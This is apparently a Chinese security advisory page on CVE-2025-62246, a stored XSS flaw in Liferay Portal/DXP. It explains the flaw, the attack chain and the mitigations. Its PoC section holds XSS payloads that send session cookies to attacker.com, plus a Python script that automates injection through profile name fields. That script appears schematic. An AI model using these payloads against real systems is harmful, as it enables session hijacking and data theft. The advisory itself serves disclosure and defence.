IPBUF安全漏洞报告
English
CVE-2025-62246 CVSS 5.4 中危

CVE-2025-62246 Liferay Portal/DXP 存储型XSS漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-62246
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Liferay Portal 和 Liferay DXP

相关标签

XSS存储型XSSStored XSS跨站脚本LiferayLiferay PortalLiferay DXPCVE-2025-62246中危漏洞Web应用安全

漏洞概述

CVE-2025-62246 是 Liferay Portal 和 Liferay DXP 产品中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由 [email protected] 于2025年10月13日披露,CVSS 3.1 评分为 5.4,属于中危级别漏洞。

该漏洞影响 Liferay Portal 7.4.0 至 7.4.3.111 版本及更早的不受支持版本,以及 Liferay DXP 2023.Q4.0 至 2023.Q4.5、2023.Q3.1 至 2023.Q3.8、7.4 GA 至 update 92 版本及更早的不受支持版本。

漏洞的核心问题在于,远程认证用户可以通过在用户的名字(名、中间名或姓)文本字段中注入精心构造的恶意载荷(payload),当其他用户查看包含该用户提及(mentions)的页面时,恶意脚本将在受害者的浏览器中执行。受影响的组件包括:(1)页面评论小部件(page comments widget)、(2)博客条目评论(blog entry comments)、(3)文档和媒体文档评论(document and media document comments)、(4)留言板消息(message board messages)、(5)wiki 页面评论(wiki page comments)以及(6)其他支持提及功能的组件。

由于该漏洞需要低权限认证(PR:L)且需要用户交互(UI:R)触发,因此攻击者需要先拥有一个有效的 Liferay 账户,然后通过修改个人资料中的姓名字段来注入恶意脚本。当其他用户访问包含该用户提及的页面时,恶意代码将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或执行未授权操作等安全风险。

技术细节

该存储型 XSS 漏洞的根本原因在于 Liferay Portal/DXP 在处理用户提及(user mentions)功能时,未对用户姓名字段(first name、middle name、last name)中的特殊字符进行充分的输入验证和输出编码。

**漏洞原理:**
1. Liferay 平台支持在多个组件(如评论、留言板、Wiki 等)中使用 @提及 功能来引用其他用户。
2. 当用户被提及时,系统会从用户档案中读取其姓名信息并在页面上渲染显示。
3. 由于姓名字段未进行严格的 HTML 实体编码或输入过滤,攻击者可以在姓名字段中插入恶意 HTML/JavaScript 代码。
4. 当其他用户访问包含该用户提及的页面时,恶意代码被存储在数据库中的载荷会被直接渲染到受害者的浏览器中,从而触发 XSS 攻击。

**利用方式:**
1. 攻击者使用有效的低权限账户登录 Liferay Portal。
2. 修改个人资料,将姓名字段设置为包含恶意 JavaScript 代码的 payload,例如:
- 名(First Name):`<img src=x onerror=alert(document.cookie)>`
- 中间名(Middle Name):`<svg onload=fetch('//attacker.com/?c='+document.cookie)>`
- 姓(Last Name):`<script>document.location='//attacker.com/?c='+document.cookie</script>`
3. 攻击者在支持提及功能的组件(如博客评论、Wiki 页面等)中使用 @用户名 语法提及自己。
4. 当其他用户(受害者)查看包含该提及的页面时,恶意脚本将在受害者浏览器中执行。
5. 攻击者可以利用窃取的会话 cookie 或其他方式进行进一步攻击。

由于该漏洞涉及范围(Scope)发生变化(S:C),影响范围不仅限于被攻击的组件,还可能波及其他安全域。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者首先需要获取一个有效的 Liferay Portal/DXP 低权限用户账户,可以通过注册新账户(如果平台允许)或通过其他方式获取合法凭据。
STEP 2
步骤2:注入恶意载荷
攻击者登录后,修改个人资料,在名(first name)、中间名(middle name)或姓(last name)字段中注入精心构造的恶意 HTML/JavaScript 载荷(如 <img onerror>、<svg onload> 或 <script> 标签)。
STEP 3
步骤3:触发提及渲染
攻击者在支持 @mention 功能的组件(如博客评论、Wiki 页面、留言板等)中使用 @用户名 语法提及自己,使恶意载荷被嵌入到目标页面中并存储在数据库里。
STEP 4
步骤4:受害者访问触发
当受害者(具有更高权限的用户或普通用户)访问包含该 @mention 的页面时,浏览器解析并执行恶意脚本,攻击者的载荷在受害者浏览器上下文中运行。
STEP 5
步骤5:执行恶意操作
恶意脚本可以窃取受害者的会话 cookie、进行钓鱼攻击、劫持账户会话、修改页面内容或以受害者身份执行未授权操作。由于范围(S:C)发生变化,攻击可能影响超出当前组件的安全边界。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-62246 - Liferay Portal/DXP Stored XSS via User Name Fields --> <!-- Attacker modifies their profile name fields with malicious payloads --> <!-- Step 1: Set malicious payload in user profile name fields --> <!-- First Name payload example --> <img src=x onerror="alert('XSS via First Name');document.location='https://attacker.com/steal?c='+document.cookie"> <!-- Middle Name payload example --> <svg/onload="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Last Name payload example --> <script>new Image().src='https://attacker.com/x?'+document.cookie;</script> <!-- Step 2: Trigger the XSS by mentioning the malicious user --> <!-- In a blog comment, wiki page, or message board, use @mention to reference the attacker --> <!-- Example: @[userId] or @username in any widget that supports mentions --> <!-- Step 3: When victim views the page containing the mention, XSS fires --> <!-- The malicious code executes in the victim's browser context --> <!-- Automated exploitation example using Python requests --> import requests TARGET_URL = "https://liferay.example.com" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() # Login login_data = { "_com_liferay_login_web_portlet_LoginPortlet_formDate": "", "_com_liferay_login_web_portlet_LoginPortlet_saveLastPath": "false", "_com_liferay_login_web_portlet_LoginPortlet_redirect": "", "_com_liferay_login_web_portlet_LoginPortlet_doActionAfterLogin": "false", "_com_liferay_login_web_portlet_LoginPortlet_login": USERNAME, "_com_liferay_login_web_portlet_LoginPortlet_password": PASSWORD, "p_auth": "" } session.post(f"{TARGET_URL}/web/guest/home", data=login_data) # Update profile with XSS payload in name fields profile_data = { "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_mvcPath": "/users_admin/edit_user.jsp", "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_firstName": "<img src=x onerror=alert(1)>", "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_middleName": "", "_com_liferay_users_admin_web_portlet_UsersAdminPortlet_lastName": "Malicious" } session.post(f"{TARGET_URL}/group/control_panel/manage", data=profile_data) # Post a comment with @mention to trigger the XSS comment_data = { "_com_liferay_message_boards_web_portlet_MBPortlet_cmd": "addMessage", "_com_liferay_message_boards_web_portlet_MBPortlet_inputSubject": "Hello", "_com_liferay_message_boards_web_portlet_MBPortlet_inputBody": "Hey @attacker check this out!", "_com_liferay_message_boards_web_portlet_MBPortlet_postReply": "true" } session.post(f"{TARGET_URL}/message-boards", data=comment_data)

影响范围

Liferay Portal 7.4.0 - 7.4.3.111
Liferay Portal 更早的不受支持版本
Liferay DXP 2023.Q4.0 - 2023.Q4.5
Liferay DXP 2023.Q3.1 - 2023.Q3.8
Liferay DXP 7.4 GA - update 92
Liferay DXP 更早的不受支持版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制用户修改姓名字段的权限,仅允许管理员修改;2)在前端和后端对姓名字段实施严格的输入验证,禁止 HTML 标签和 JavaScript 代码;3)对所有用户提及的渲染输出进行 HTML 实体编码;4)部署 Web 应用防火墙(WAF)规则,拦截包含常见 XSS 载荷的请求;5)启用内容安全策略(CSP),限制内联脚本执行;6)将会话 cookie 设置为 HttpOnly,防止通过 XSS 窃取会话;7)监控异常的用户档案修改行为和可疑的评论内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表